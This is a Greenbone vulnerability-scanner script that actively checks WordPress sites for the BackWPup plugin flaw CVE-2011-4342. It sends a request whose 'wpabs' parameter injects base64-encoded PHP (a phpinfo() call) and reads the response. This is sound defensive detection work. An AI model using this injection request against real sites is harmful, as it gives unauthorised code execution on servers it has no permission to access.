WordPress BackWPup Plugin < 1.7.1 'wpabs' Parameter Remote PHP Code Execution Vulnerability - Active Check

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.900277");
  script_version("2025-11-11T05:40:18+0000");
  script_tag(name:"last_modification", value:"2025-11-11 05:40:18 +0000 (Tue, 11 Nov 2025)");
  script_tag(name:"creation_date", value:"2011-04-01 15:39:52 +0200 (Fri, 01 Apr 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2011-4342");
  script_name("WordPress BackWPup Plugin < 1.7.1 'wpabs' Parameter Remote PHP Code Execution Vulnerability - Active Check");
  # nb: The POST request might be already seen as an attack...
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/http/detected");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/17056/");
  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2011/Mar/328");
  script_xref(name:"URL", value:"http://www.senseofsecurity.com.au/advisories/SOS-11-003");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"Successful exploitation will let remote attackers to execute
  malicious PHP code to in the context of an affected site.");

  script_tag(name:"affected", value:"BackWPup WordPress plugin version 1.6.1 is known to be
  affected. Other versions may also be affected.");

  script_tag(name:"insight", value:"The flaws are caused by improper validation of user-supplied
  input to the 'wpabs' parameter in 'wp-content/plugins/backwpup/app/wp_xml_export.php', which
  allows attackers to execute arbitrary PHP code in the context of an affected site.

  NOTE : Exploit will only work properly with the following PHP settings:

  register_globals=On, allow_url_include=On and magic_quotes_gpc=Off");

  script_tag(name:"summary", value:"WordPress BackWPup Plugin is prone to a remote PHP code
  execution vulnerability.");

  script_tag(name:"solution", value:"Update to version 1.7.1 or later.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

## nb: Path of the vulnerable page with phpinfo() function in base64 encoded format.
url = dir + "/wp-content/plugins/backwpup/app/wp_xml_export.php?_nonce=822728c8d9&wpabs=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==";
res = http_get_cache(item:url, port:port);
if(!res || res !~ "^HTTP/1\.[01] 200")
  exit(0);

if(concl = http_check_for_phpinfo_output(data:res)) {
  report = http_report_vuln_url(port:port, url:url);
  report += '\nConcluded from:\n' + concl;
  security_message(port:port, data:report);
  exit(0);
}

exit(99);